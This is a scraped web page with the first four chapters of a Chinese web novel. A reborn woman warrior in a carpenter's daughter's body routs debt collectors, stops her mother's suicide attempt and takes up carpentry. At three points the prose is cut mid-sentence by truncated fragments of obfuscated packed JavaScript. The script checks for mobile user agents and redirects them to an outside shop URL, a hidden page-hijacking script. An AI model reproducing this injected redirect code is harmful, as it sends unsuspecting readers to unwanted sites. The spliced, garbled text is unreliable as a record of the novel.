《朽木?我来雕雕看》 1. 第 1 章 钟舜华觉得头很疼,疼得像被蛮子的马蹄踩过一般,脑浆都要搅成一团糊。耳边也嗡嗡作响,一直有人吵个不停,烦得她恨不能一刀劈过去。 “钟老二!少跟老子磨磨蹭蹭!欠的银子今天必须还上!” “张爷,您这利息不对啊……当初说好的是三分利,怎么才半年就翻了几番了……” 被称作张爷的汉子眼一斜:“老子当初就是这么说的!怎么?你是想赖账?”他回头朝背后乌泱泱的一群人歪歪头,“兄弟们,你们说说,老子当初是不是这么说的?” “是是是,张爷最讲规矩了!”一群流里流气的汉子嬉笑着附和,眼神却不怀好意地往坐在墙角晒太阳打盹的姑娘身上瞟。 钟成栋气得浑身发抖,却只能苦苦哀求:“……张爷,我家里的情况您也清楚,实在是一时拿不出这么多。您再宽限几日,我……啊!” 钟舜华听到了沉闷的撞击声,费力掀开一条眼缝,看到不远处一道身影佝偻着躺在地上。 “滚犊子!别脏了你张爷的新靴子!”张老金往地上啐了口浓痰,大摇大摆地踱向钟舜华。 他一双眼在她身上扫来扫去,像打量牲口般:“我说钟老二,看你可怜,张爷我给你出个主意。你家这傻丫头不是还能生?趁现在年轻卖得上价,赶紧卖出去,怎么着也能换个一二十两银子。”沉沉的脚步声越来越近,“要么,直接抵债给老子,张爷我吃点亏,保准让她有口饭吃!” “你敢!畜生!不准动她!”钟成栋红着眼要扑上来,却被两个汉子死死按住。 钟舜华被推得身子一歪,只觉一阵天旋地转,额头重重磕在青石板上。 疼痛让她骤然清醒过来,猛地撑开发酸的眼皮,入眼就是一张糟鼻烂牙、口气熏天的脸,正快速凑过来。 她下意识抬臂,一把挡开那只黑乎乎的脏手,在众人还未反应过来前,利落翻身而起。 张老金只觉眼前一花,衣领一紧,还不知怎么回事,两只脚就已然离地。 他被像个破麻袋一样提溜起来,顿时恐慌起来,用力挥舞四肢,嘴里骂骂咧咧,却怎么也挣扎不开。 “该死的蛮子,吵死了!”钟舜华烦不胜烦,手臂用力一甩,“滚一边去!” “砰!” 巨响震得整个院子都颤了颤。 张老金结结实实砸到院门上,木门裂开几条缝,木屑飞扬。 他的身子顺着门板软软滑到地上,胸口剧烈起伏,手脚扑腾了好几下,都没能爬起来。 院子里的地痞流氓惊呆了。 方才还嚣张的气焰瞬间灭了个干干净净,他们瞪着眼前的少女,满面惊恐地往外退了好几步,左脚绊右脚,连去扶张老金的胆子都不敢有。 钟舜华抬手揉了揉昏沉的脑袋。 脑子里像有什么东西硬要往里塞,她强忍着保持清醒,看了一圈所处的小院子,一时搞不清楚状况。 铺着青砖的小院,墙边堆满了各种木料和半成的木家具,显得有些拥挤。 不远处,一个身穿褐色短打的中年男人手里举着镐头,还愣在原地。 她疑惑的目光与他对上,脑子还没反应过来,嘴巴就已本能地喊出声:“爹?” “哎,爹在,爹在!”钟成栋如梦初醒,丢下镐头扑上前。 他用独臂小心翼翼地扶了把她的胳膊,满是厚茧的手掌轻轻揩掉她额头上的血迹:“华儿,你咋样?疼不疼?爹看看……” 钟舜华茫然眨眨眼。 她不是被蛮子砍了几十刀吗?怎么非但没死,还有爹了? 钟成栋对上女儿懵懂的眼神,心里直发苦。 他转过头,徒劳地挥动只剩半截的右臂,牙齿咬得咔咔响:“张老金,你个狗东西!我华儿要有个三长两短,我跟你们拼命!” “呸!哎哟……”张老金好不容易撑起上半身,刚要回骂,哪知胸口又是一阵刺痛,竟呕出一口带血的唾沫。 他面色瞬间惨白,抖抖唇,气势弱了大半:“好、好你个钟老二……谁不知道你那丫头片子本来就是个傻的,今天伤了老子,还想讹人?老子没找你赔药钱就不错了!”说完,他觉得背后有些太安静了,转过头,大吼一声,“愣着干什么?上啊!” “是、是……快上啊……”“你上你上……” 地痞们七嘴八舌地应着,你推我搡,畏首畏尾地动起来,一点点朝父女俩跟前挪,手里的木棍柴刀抖个不停。 钟舜华才缓和不少的面色再次冷下来,只想让这一窝膈应人的山鼠立刻从眼前消失。 她扫了眼身旁的木料堆,随手抽出一根海碗粗的原木,手臂一甩,原木在空中划出一道弧线。 呼呼的破风声响起,吓得前排的地痞下意识就把脑袋往里缩。 钟舜华擎着原木,步步紧逼,稳稳走到张老金跟前,硕大的原木直指他面门:“来,打完我赔你药钱。” “咕咚。” 一片死寂中,张老金咽了口唾沫。 其他小喽啰看着那根比自己大腿还粗的原木,再看看毫不吃力的钟舜华,后背早被渗出的冷汗湿了个透,纷纷低下头装死,急急地互相使眼色。 虽说傻子力大,但这未免也太大了?他们这一群人,都不够她这根大棒子扫一下的!以前也没听说这钟傻子这么能打啊! 钟舜华面无表情地看了一圈众人。 不同于方才的懵懂,她此时的眼神暗得出奇,像一个深不见底的黑窟窿。 一群地痞流氓被这眼神扫过,齐齐下意识打了个寒战,甚至生出一种她手上当真有过不少人命的感觉。 “当啷!” 一柄柴刀落地,发出清脆的响声。 退缩像瘟疫一样,会传染。有了第一个,就有第二个,转瞬间,院子里武器落了一地。 地痞们也顾不上自家行动不便的老大,扭头拔腿就往外跑:“疯了疯了!傻子发疯了!”“快跑啊!” 不一会儿,原本狭窄的院中就只剩下三人,莫名显得空旷起来。 钟舜华再次看向张老金,眼中的幽黑褪去,真诚的疑惑让她显得无害起来:“你不走吗?要跟我打?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908828|192433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 张老金差点一口老血呕出来。 他扶着胸口,撑着摇摇欲坠的木门艰难站起来,看看钟老二,又看看钟舜华,嘴唇哆嗦着,最后连狠话都没敢放一句,踉踉跄跄灰溜溜走了。 “华儿!”钟成栋见人都跑光了,慌忙赶过去,心惊胆战地去接钟舜华手上的木料,“你……你快放下,多危险呐!” 钟舜华看了眼他空了半截的右臂,避开他伸过来的左手,一扬胳膊,轻轻松松将木料抛回了原位。 钟成栋眼睛都直了。 要不是那结结实实“砰”的一声沉响,他都要怀疑这些木料是不是都空心了。 虽然以前自家闺女的力气是要比一般女子要大些,但也不至于…… 他擦了擦汗,面对着这个不知怎么突然变得力大无穷,还替家里解了围的傻姑娘,一时还没想好说什么,就听见她钟舜华率先开口:“我叫什么名字?” “钟、钟舜华啊。”钟成栋愣了,一颗心顿时沉到谷底。 完了,更傻了!以前还记得自己的名字,现在连名字都不知道了!张老金这个畜生! 钟成栋视线落在女儿额头上的伤口,心都在滴血。 他努力扯出一个笑,牵起钟舜华的手,像哄孩子一般哄道:“忘了呀?没关系,啊,爹爹教你,好不好?以前都是爹爹教会你的……” 得了答案的钟舜华挠挠头,还不知道该怎么跟爹相处。 她努力回忆了一下以前村子里一同长大的狐朋狗友,依葫芦画瓢地搭上钟成栋的肩膀,大大咧咧道:“爹,我没忘,我就是……嗯……考考你。” 钟成栋睁大双眼,头一回听她说话如此“正常”。 他舌头几乎都要打结:“华儿,你……你能听懂爹说话了?” “嗯。”钟舜华点点头,一向直来直去的脑子难得动了动,“刚才那个臭老头,好像打到我的头了。我疼了一会儿,然后就能听明白了。” 钟舜华觉得,她应该是借尸还魂了。 苍天有眼,她之前奔波一辈子,什么福都没享到就早早见了阎王,这会儿好不容易又捞到条命,可不能暴露了。 钟成栋听她有条有理地说完这么长一句话,还有什么可怀疑的,顿时大喜过望,拉着她就往屋里跑:“珍娘!珍娘!你快来看呐!” 一推开正屋的门,浓郁的药味夹杂着潮闷之气扑面而来。 最里面的床榻上,一个面色蜡黄的中年妇人斜倚着,手里端着一碗黑漆漆的药汤。 她似乎已经被病痛折磨地失了心气,看到推门进来的两人,面上也没多大波动,缓缓开口:“怎么听见外头闹哄哄的,出什么事了?” “没什么事儿,我跟隔壁的王老头吵了两句嘴。”钟成栋信口胡诌,带着钟舜华走到床边坐下,满心欢喜正要开口,一旁的钟舜华却冷不丁伸手,拿过严珍手中捧着的药碗就往自己面前送。 “华儿,别!”妇人大惊失色,急忙阻拦。 钟舜华轻松绕开严珍伸过来的胳膊,端着碗凑近鼻尖闻了闻。 “耗子药。” 2. 第 2 章 钟舜华说完,“笃”一声,将碗放远了一些。 这东西,她以前可见得太多了。 “耗子药?!”钟成栋瞳孔骤缩,不可置信地看向严珍,“你哪来的耗子药?你要做什么?!” 严珍见女儿没乱喝,顿时松了口气。眼见事情败露,她突然有些后悔为了看他们最后一眼,没早些喝了。 她叹了口气,轻轻笑了笑:“让我死吧,我死了,你们爷俩还能好过点。” “你疯了!”钟成栋死死扣住她的肩膀,急得眼都红了,“严珍,你是不是疯了?!总有办法的,大不了我再去山上打猎,总能挣到钱的……” “没用的,我的病治不好了。”严珍面色平静地看着他,语气宽容温和,说出的话却是要扎进人心里去,“成栋,放过我吧,也放过你自己。” 钟成栋死死盯着她,半晌,突然站起来,冷声道:“好,我放过你。”他伸手就要去端那碗老鼠药,“你想死,那就一起死!咱们全家一起上路,反正这日子也过不下去了!” 坐在一旁的钟舜华眨眨眼。 她这才刚活过来呢,这两人定她生死的时候怎么也不问一声? 钟舜华无语又恼火,伸出一只胳膊,强行将冲动的便宜老爹一把扯回来:“等一下,我好像没同意要死。” 严珍如一潭死水的眼睛突然动了动,空洞的眼睛里久违地有了光彩,慢慢转头看向女儿:“华儿?” 钟成栋反应过来,忙将钟舜华往严珍身边推了推:“珍娘,你看,华儿、华儿她好了。”他握住严珍皮包骨头的手,手直打颤,“你再坚持坚持,就当是为了华儿,好不好?” “华儿,”严珍眼中映出水光,直愣愣看着钟舜华,“你……你好了?” “嗯。”钟舜华在心里预演了两遍,然后不太熟练地开口,“娘。” 只是不知为何,这声“娘”一出口,她觉得自己的眼皮好像又有些酸了。她笨拙地将手掌覆在老夫妻交叠的手上,“娘,我不想死。” “不死,死什么死!我华儿还小着呢!”严珍狠狠瞪了一眼钟成栋,“那都是你爹说的混账话!” 钟成栋低下头,老实听训。 “娘,你也别死。”钟舜华将她单薄的身子搂进怀里,“我去挣钱,给你买药。” “好,好,娘不死,娘好好活着。我苦命的丫头……”严珍哪里还顾得上什么药不药的,她紧紧抱住女儿,眼中的浊泪大颗大颗地滚下来。 钟成栋也忍不住抹了抹眼睛。 才认识没多久的爹娘,抱着钟舜华又哭又笑地念叨了一个多时辰。 她被像烤饼里的肉馅儿一样被夹在中间,只觉得脑瓜子嗡嗡响,五脏庙咕咕叫。 不知过了多久,钟舜华终于忍不了,鱼似的扭了几下,挣脱开二人。 她刚想说点好话讨些吃的,突然眼前一阵眩晕,“咚”一声,直挺挺倒在了床上。 “华儿!” “闺女!” 老两口的哭声戛然而止,满心欢喜瞬间被惊慌取代。 “快!快去找李大夫!”许久没下床的严珍嘶喊一声,竟一骨碌翻坐起来,颤巍巍地伸出伶仃的腿去地上找鞋穿。 还好钟成栋反应快,一把按住她:“别慌!我去,啊,你看着华儿,听见没?” “好,好……”严珍急促喘着气,激动的情绪被强行压下去,瞪大含泪的眼,一眨不眨地紧紧盯着不省人事的钟舜华,口齿不清地重复,“快去,快……救我女儿……” 暮色四合,钟家小院东屋亮着一盏油灯。 身穿宽袍大袖的山羊须男子坐在床边,干瘦的手指搭在钟舜华手腕上,双眼微闭,眉头紧锁,空出的另一只手飞快掐着诀。 钟成栋看花了眼,握紧拳,焦躁不安地立在一旁,脚尖不断点着地面。他不明白妻子为什么点名要请这个神棍来,动动唇,几次三番想要开口询问,又生怕打搅,只能将话咽回去。 等了将近一炷香时间,就在他耐心告罄前一刻,那老大夫突然睁开眼,将钟舜华的手塞进被褥里,转过脸来,一脸笑意:“钟老二,大喜啊!” 钟成栋探头看了眼依旧昏睡不醒的女儿,心中忐忑不安,苦着脸:“李大夫,你就别卖关子了!这……华儿还不见醒,怎么个喜法啊?” 李大夫捋了捋胡须:“她只是体内两股气缠在一处,一时冲了神窍。不打紧,明日天一亮准能醒。” 钟成栋张着嘴,瞪圆了眼,显然没听明白这玄乎的说法。 李大夫起身,背着手在屋里神神秘秘踱了两步,眼见钟成栋急得头冒汗,这才慢悠悠问他:“你还记不记得,十几年前你带你家女子来我这儿看病,我说她是胎里就缺了两魂一魄,这才脑子不大灵光?” 钟成栋睁大眼:“李大夫,您的意思是……” “没错,她这是回魂归魄了!”李大夫笑呵呵地给了准话。 “那就是说……”钟成栋咽了下口水,即便下午已经见识过伶俐又神力的女儿,还是有些不敢相信,“就是说,华儿她以后就……跟我们一样了?” 虽然人人都知钟家的女子是个痴傻儿,但李大夫从未在钟老二两口子口中听到过半个“傻”字。他明白这夫妻俩的避讳,也不戳人家痛处,只笑道:“何止是一样?指不定啊,比你两口子还聪明些!” “老天!”钟成栋头晕乎乎的,一个箭步冲到床边,又猛地刹住,手掌颤巍巍的,小心翼翼地抚上女儿的头发,喜得眼泪都流了下来,“太好了!太好了!李大夫,您可真是活神仙!” “哼,”李大夫扬起下巴,“不知老夫当年说这话时,是哪个愣头青半句都不信,还骂老夫装神弄鬼!” “是我蠢!是我没见识!”钟成栋连忙赔着笑认错。 他从袖中掏出个布包,层层打开,露出里面几块擦得锃亮的银子,递到李大夫手边:“您老人家别跟我这个粗人计较。这点心意,还请务必收下……” 李大夫垂眼一看,伸手从里边捡了块最小的,将剩下的尽数推回去:“有几顿酒钱就行。” “这怎么行,您这是救命……”钟成栋还要再塞,却被李大夫一把按住手腕。 “行啦!老头子就搭了个脉,说了几句话,收那么多作甚?”李大夫板起脸,随即又放缓语气,“都是几十年的街坊邻居,别整得那么见外。你挣点钱也不容易,留着给华妮儿买些红糖鸡蛋补补,她刚回魂,身体还虚着。” “哎,好!”钟成栋擦擦眼角,面上满是不好意思,“多谢李大夫!”他甩着空荡荡的袖子,千恩万谢地将大夫送出后院院门。 院子不大,正屋里没点灯。 借着天边的月光,依稀能看到窗边坐了个面色苍白的妇人,对着东厢房的方向翘首以盼。 李大夫收回视线,轻轻摇头。 有了盼头,可就别再犯傻了。 他叹了口气,拎着药箱匆匆离开。 . 翌日,钟舜华从睡梦中醒来时,外面已经天光大亮。 她窝在暖烘烘的被褥里伸了个懒腰,摸摸脸,又摸摸胳膊腿儿,有些恍惚—— 这具身体,除了瘦弱些,没有那些刀伤箭伤,其他都与她以前一模一样。 好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908829|192433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神奇。 “咚!”“砰!” 窗外隐约传来一阵阵动静。 钟舜华回过神,趿上鞋跑到窗边,推开一条缝,只见钟成栋正使着尚且健全的左胳膊,不太灵活地搬运院中的木料。 “爹,”她喊了一声,“你干嘛呢?” “华儿?你醒了!”钟成栋望过来,眼睛一亮,“感觉怎么样?有没有哪里不舒服?头疼不疼?” 说话间,他就要进东屋去看看。 刚迈了两步,才突然意识到女儿已经跟以前不一样了,再随便进出她的屋子,好像不大合适。 他停下脚,手掌在衣摆为难地搓了搓。 钟舜华哪里注意得到这些细节,她是急性子,最见不得别人磨蹭,于是冲着他摆摆手:“爹,我没事了!你忙你的,我马上就出来。” 她关上窗,借着炉上温着的热水,草草洗漱一番。 拉开小屋的房门,金灿灿的阳光瞬间争先恐后地涌进来,跃过门槛,落在她的鞋面上。 钟舜华仰头,眯着眼,感受到新生的朝阳落在脸上。 明明昨日还与蛮子打得你死我活,今日竟就能过上这样安宁平和的日子。 她晒了会儿太阳,甩着手先去正屋里,跟娘说了几句话,一番劝慰,好歹是安了这如惊弓之鸟的病妇人的心,嘱托她好好养病,这才跨出正房,在院里转了一圈。 正奇怪钟成栋去了何处,转头就见他端着个粗瓷碗从厨房里出来,碗里还冒着热气。 “华儿,快来吃早食!” 钟舜华接过碗,微微瞪大眼,偷偷吞了下口水。 碗里是热腾腾的汤饼,里面还卧着两个金黄的荷包蛋,青翠鲜绿的韭花浅浅铺了一层,香气直往鼻子里钻。 上一次吃上这样热乎的白面汤饼,早已不知是什么时候了。 她迫不及待挑起一筷子塞进嘴里,刚碰到舌尖就被烫得直呼气,却又舍不得吐出来,只能在嘴里又炒了一遍,硬生生咽下去。 “慢些!” 钟成栋既心疼又好笑,“不是昨日才吃过?怎么跟几辈子没吃过饱饭似的!” 钟舜华咀嚼的动作慢下来,心道一声“老爹你真相了”,含糊不清地小声嘀咕:“昨天我还是个傻子,好吃不好吃的,也记不住呀。” 钟成栋脸上的笑意僵住,心里一堵,气骂道:“什么傻子?谁在你跟前胡说八道,爹去教训他!” 钟舜华咬下一口荷包蛋,扬起下巴笑了笑,没再接话。 钟成栋见她副没心没肺的样子,默默叹了口气,转身往腰上围上块补丁叠补丁的破麻布,又要去搬木料。 钟舜华腮帮子鼓鼓的,视线跟着他的身影转来转去,看了好半天,终于忍不住问:“爹,你这是要打扫院子?” 一回生二回熟,她现在叫爹娘是叫得越来越顺口了。 钟成栋忙得没抬头:“你娘的药快吃完了,这些料子堆着也是占地方,我清理清理,拿去卖了换些银子。” 想当年,钟舜华还没成为钟大当家之前,也曾是个老实本分的木匠。她很是清楚,这再好的木材,但凡剥了皮,锯成了碎块,再转手想卖,价钱至少得折去三成不止。 “卖了?”她皱眉,回头看了眼那扇紧闭的对开门,脑海里突然闪过一些零碎的记忆。 她想起来,从那里穿过去,就是钟家传承了三代人的铺子。从前,钟老爹闷头在后头的院子里拉锯,娘就抱着她在那铺子里招呼客人,一张银盘似的脸笑得眉眼弯弯。 钟舜华摸摸有些发闷的心口,轻声问:“卖了,咱家的铺子怎么办?” 3. 第 3 章 钟成栋拾起一块生了霉斑的木桩,听到这话,弓下的脊背僵了一瞬。 这铺子自祖上开张以来,就一直支撑着他们钟家人的生计。 传到钟成栋手里时,他才将将把手艺学明白,做生意却是半分都不在行。好在人长得高大俊朗,这才得了严秀才家的小娘子青睐,娶了个能言善道的招财媳妇回来。 可约莫是老天也见不得他们的日子过得太顺遂,坏事一件接着一件找上门来。先是长到三岁的闺女成了痴傻儿,不久,备受打击的严珍在一场大病后,精神一天天差下去,直至再也起不来床。 钟成栋强忍悲痛,扛起了一切。他一个人坐在后院里,一边照顾妻女,一边做木工活儿,一边透过这扇门,守着生意越来越差的铺子,直到失去了赖以生存的手臂。 “爹?” 钟舜华伸手,在两眼发愣的钟成栋眼前晃了晃。 虽然她也不明白,为什么自己明明是借尸还魂,却能断断续续看见这具尸首的记忆。不过——有总比没有好嘛。 钟成栋回过神,扶着腰直起身,晃了晃空荡荡的右臂,扯唇笑了笑:“华儿,爹干不了啦!咱们家的铺子……该关门了。” 自从失去右臂,他哭过,怨过,也不认输地尝试过换个手干。但无论是力道还是准头,都差了不止一星半点。 他看了眼那扇紧闭的门,长长呼出一口气,像是卸下了千斤重担,又像是失去了什么重要的东西。爹,娘,儿不孝。只是,实在不能再这么徒劳无功地耗下去了。 钟舜华看着一脸落寞的便宜老爹,垂眸想了片刻。 她三两口将碗里的汤饼吃了个干净,放下碗,大步走到院角的木架子旁,抽出一张半人高的大锯。 她扛着锯子走到钟成栋身边,一脚稳稳踩住一根粗壮的圆木,在他疑惑的目光中弓下腰,手臂高高抬起,整个身子拉成一道流畅又充满力量的线条,面上扬起一抹明朗的笑:“我会啊,我来开!” 钟成栋愣住了。 钟舜华撇撇嘴:“怎么,爹不信我?” “怎么会!” 向来将女儿捧在手心里的钟成栋被这么一激,哪里还说得出半个“不”字。 他仔细打量着女儿的架势,那握锯的手法、站姿,竟都有模有样,来不及细想,心里下意识就先信了三分,“华儿会做什么?” “你且看好了!” 钟舜华将肩头的麻花辫往后一甩,大锯的锯齿“啪”地落在圆木上。 她稳住下盘,上臂发力,大锯行云流水地被推了出去,又轻轻松松地拉回来,“嗡嗡”的锯木声里,细碎的木屑扑簌簌洒在空中。 钟成栋几乎要看呆了。 他从十几岁就跟着父亲学木工,做了大半辈子木匠,在这十街八巷也是有名的好手。若不是意外断了手,光靠他一个人的手艺,足以让一家人过得有滋有味,甚至还能有不少盈余。 可他从来没见过有人——甚至还是个姑娘家——能把大锯拉得如此虎虎生风,还半点不见吃力。 这…… 钟成栋看了看沉浸其中的钟舜华,又看了看整齐切下的杉木,想起昨日被打得屁滚尿流的张老金,心里头一回升起一个让人脊背发凉的想法:这当真是他那个傻了十几年的闺女吗? 钟舜华可不知他心里在想些什么。自从蛮子打到他们村,她就再也没能安安静静地做一回木工活。如今重新拿起工具,熟悉的感觉传来,一时竟停不下,只想一口气从头做到尾。 中途钟成栋喊过她几次,劝她歇会儿,都被她含糊地应过去了。见她是真不想歇,也没有硬撑的迹象,他也就不再勉强,只站在一旁细细观察她的动作,眸色渐渐复杂晦暗起来。 不过两个时辰,一口堪称完美的十页瓦棺材,在钟家的小后院悄然成形。 “怎么样?这手艺,够开铺子了吧?”钟舜华晃了晃手里的刨刀,挑眉看向老爹。 钟成栋走上前,绕着棺材慢慢走了一圈。 若是寻常熟练匠人,做这样一口十页瓦棺材,少说也得两三日,且未必能有这样的水准。 钟成栋迎上女儿纯挚的目光,突然觉得方才疑神疑鬼的自己,竟如此面目可憎。 满是老茧的手掌抚过棺面,一条条接缝处被打磨得十分平滑,几乎摸不出起伏。 钟成栋激动又自豪,甚至隐约有几分叹服的情绪涌上心头。他抑制不住,脱口赞道:“好!特别好!” 钟舜华嘿嘿一笑,骄傲得几乎要将莫须有的尾巴翘起来。 钟成栋抚着崭新的棺材,激动的心绪好半晌才缓缓平复。 理智回笼,先前强压下去的念头又悄悄冒出,小针似地扎着他的心口。 察觉到他面上笑意渐淡,钟舜华凑上前看了看他手下的棺盖:“怎么了?哪里做得不好吗?” 钟成栋低下头,竟有些不敢看她。 他深吸一口气,勉强扯出一个笑,语气放得温和:“华儿,你告诉爹爹,怎么会做棺材的?爹记得……从没教过你木工活儿,何况,爹自己也不会做棺材……” 钟舜华摸摸鼻子,早料到露这一手必会引来怀疑。她想起那些朦朦胧胧仿佛隔着一层纱的画面,面不改色道:“我在郑爷爷铺子里看会的。” 老郑头? 那是隔壁街棺材铺的老木匠,与过世的钟老太爷是几十年的好兄弟。因着这层关系,钟成栋常会带妻女上门去探望走动。 难道这个总喜欢呆愣愣看老郑头打棺材的闺女,就这样悄悄学会了人家的看家本领,还学得如此好? 一阵风过,钟成栋只觉乱糟糟的脑子瞬间清楚起来。若不是自己的女儿,又怎会记得老郑头?怎会清楚他把大锯收在何处?真是糊涂了! 疑虑尽消,钟成栋这会儿完全高兴起来。一高兴,那女儿奴的老毛病便又犯了,只觉得眼前的闺女浑身泛着金光,怎么看都是个百年难遇的天才! 他乐呵呵呲个大牙,笑得眼纹都出来了:“咱们华儿,真是个天生的木匠!” 钟舜华听了,得意地扬扬眉:“我还会做十二元呢!” 十二元棺材?那可比十页瓦难上不少。虽然只多两块板子,对手艺的要求却高出一大截。钟成栋兴奋地搓搓手:“十二元?真厉害。华儿还会做什么?” 还会做什么?棺材常用的不就这两种?钟舜华挠挠头,试探道:“你是说十四刈吗?那个我只做……嗯……看过一次,做是能做,就是做出来恐怕不大好看。” 钟成栋一噎,终于察觉到哪儿不对。 他干笑两声,一时不知该喜该忧。喜的是女儿天赋过人,小小年纪连十四刈那种难度的棺材都能尝试;忧的是,她好像,只会做棺材? “可是华儿,”钟成栋一言难尽,“我们家开的是家具铺,不是棺材铺啊!” 钟舜华:“……”嗯? 原想在新爹面前大显身手的钟大当家,还没来得及畅想未来,就被兜头一盆冷水泼下,总算意识到,开铺子远没她想象中那么容易。 别的不提,光是这打家具的手艺,就够她琢磨好一阵子。 不然,总不能把家具铺改成棺材铺,“偷”老郑头的师还不够,还要抢人家生意罢? 钟舜华长叹一声,认命地一屁股坐回矮凳,一双长腿憋屈地蜷着,在钟成栋指点下,用刻刀一点点打磨那根还不及手指粗的榫头。 做惯了大件,这些细小零件对她而言实在是有些小过了头,一刀下去,轻了也不是重了也不是,稍不留神—— “哎!过了过了!”钟成栋见势不对,急忙按住她的手,却还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908830|192433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚了半步。 他接过钟舜华手中带榫的烛台长柄,试着往承盘的卯眼里一插。 果然,长柄晃了两下,“哐啷”一声落在地上。 空气凝固。 当惯泥腿子的钟舜华连蜡烛都没用上过几次,又哪里做过烛台这种花里胡哨的玩意儿? 她默默捡起那根稍用力就能掰断的细木柄,看了半天,憋出一句:“……爹,都怪你买的料子太次,都快朽了。” 钟成栋一时语塞。他打来的木料品相确实普通,可也不至于一戳就烂罢? 好在,尽管钟舜华手劲大、好面子、还爱耍赖,但终究是个能打出完美棺材的好木匠,学起来自然比寻常学徒快上许多。 一通百通,一个上午过去,在刻毁好几块木料后,她渐渐掌握了力道,手下也越发从容。 钟成栋看在眼里,喜上眉梢,连做午饭时都忍不住哼起了扬州小调。 从厨房出来,他照例将做好的饭菜和汤药送去正房。路过正埋头苦干的钟舜华,轻轻拍了拍她的头:“削完这根凳子腿儿就进来吃饭。” “哦。” 钟舜华抽抽鼻子,闻到饭菜的香气,头也不抬地应了一声,手里刨刀依旧“欻欻”不停。 片刻后,她耳尖微动,疑惑抬起头,看向正房——里面竟隐隐约约传来争执声。 她当即丢下手中活计,跑到正房外,扒着门框探进脑袋。 只见严珍靠坐在床头,正与钟成栋争得面红耳赤。 “娘,”钟舜华不知发生了什么事,也不胡猜,直接出声打断,“你们说什么呢?我可以进来吗?” 严珍闻声转头,见到门边的女儿,眉眼顿时柔和下来。她胸口平复几下,招招手:“华儿?快进来。” 被骂得狗血淋头的钟成栋如蒙大赦,偷偷朝钟舜华递了个求救的眼色。 “爹,娘打你了?”钟舜华好奇,“你怎么眼皮直抽抽?” 钟成栋:“……” 这话一出,严珍哪还不知他暗地里的小动作?她当即轻哼一声:“我可不敢打当家的。他是咱家的话事人,一言堂,有什么事都一人大包大揽就够了,哪需要我们这些闲人在旁边碍事!” 钟成栋苦笑:“珍娘,我真知错了。你才是家里的主心骨。往后我绝不再自作主张,有事一定先同你商量,好不好?” “谁稀罕听你那些破事?”严珍拉着钟舜华在床边坐下,别过脸去。 钟成栋知道她这是火气渐消,连忙顺竿爬:“是我糊涂。不管夫人想不想听,我都该及时请示。” 不明就里的钟舜华“哇”一声,竖起拇指:“爹,你可真是忠心耿耿!” “乱用的什么词?”严珍破了功,笑着轻戳一下女儿额头,又朝钟成栋啐了一口,“就会赛脸。” 钟成栋松了口气,挠头笑笑,也不再辩,弯身从床底箱笼里翻出一张洗得发白的褥单。 “来,换换褥单。” 他走到床头,想像往常一样将严珍抱到一边的躺椅上。 严珍别扭地转过脸,却还是顺从伸出双手。 钟成栋笑了笑,正要动作,却被更近的女儿抢了先。 钟舜华一手揽在严珍颈后,一手穿过膝弯,轻轻松松连人带被抱了起来,朝钟成栋扬扬下巴:“换吧。” 她走到一边,大有一直抱着不放的架势。 将女儿从一个奶团子养到如今比自己还高的严珍,还是头一回被闺女这样抱着。她怔了好一会儿才回过神来,又是担心又是不自在:“华儿,快放娘下来,仔细累着……” “这有什么?”钟舜华满不在乎,不过脑子地将人往上掂了掂,“娘,你也太瘦了,要多吃点。” 严珍低呼一声,吓得一把攥住女儿衣领,脸色顿时煞白。 4. 第 4 章 “华儿!” 钟舜华自知闯祸,赶紧抱稳娘亲,嘟囔一句:“知道了。”在老爹不善的警告声中乖乖老实下来。 严珍稳了稳心神,有些后怕地仰起头,望着女儿不再迟滞的面容,觉得有些陌生:“华儿……你怎的,突然有了这么大的力气?” 本在低头整理褥单的钟成栋,动作慢了两分。 “不知道啊。昨天张老金把我推到地上,我气不过,想打他,就推了他一把,谁知他就直接飞了出去。”钟舜华连珠炮似的往外说,一脸诚恳,“然后我就发现能听懂你们说话了,力气也变大了。” 虽然已经从钟成栋那里知道来龙去脉,严珍却仍是听得心惊。她摸了摸钟舜华的脸,心有余悸:“还好没事,也算是因祸得福了。” 褥单铺好,一向没轻没重的野丫头像突然间开了窍,将怀里瘦成一把骨头的妇人轻轻放在床上,还顺手给掖了被角。 一旁的钟成栋还沉浸在她刚刚的话里,心神有些恍惚:“这么说起来,还多亏了张老金……” “爹,你是不是傻?还谢他?”钟舜华十分不满,牛犊似的把贴了纱布的额头顶到他面前,“你看看我头上的伤,疼死了!” 钟成栋连忙给她吹了吹,心疼得直认错:“爹说错了,爹糊涂。” 严珍也恨铁不成钢地瞪他:“拎不清的二愣子,这么多年也没半点长进!” 钟成栋讪讪。 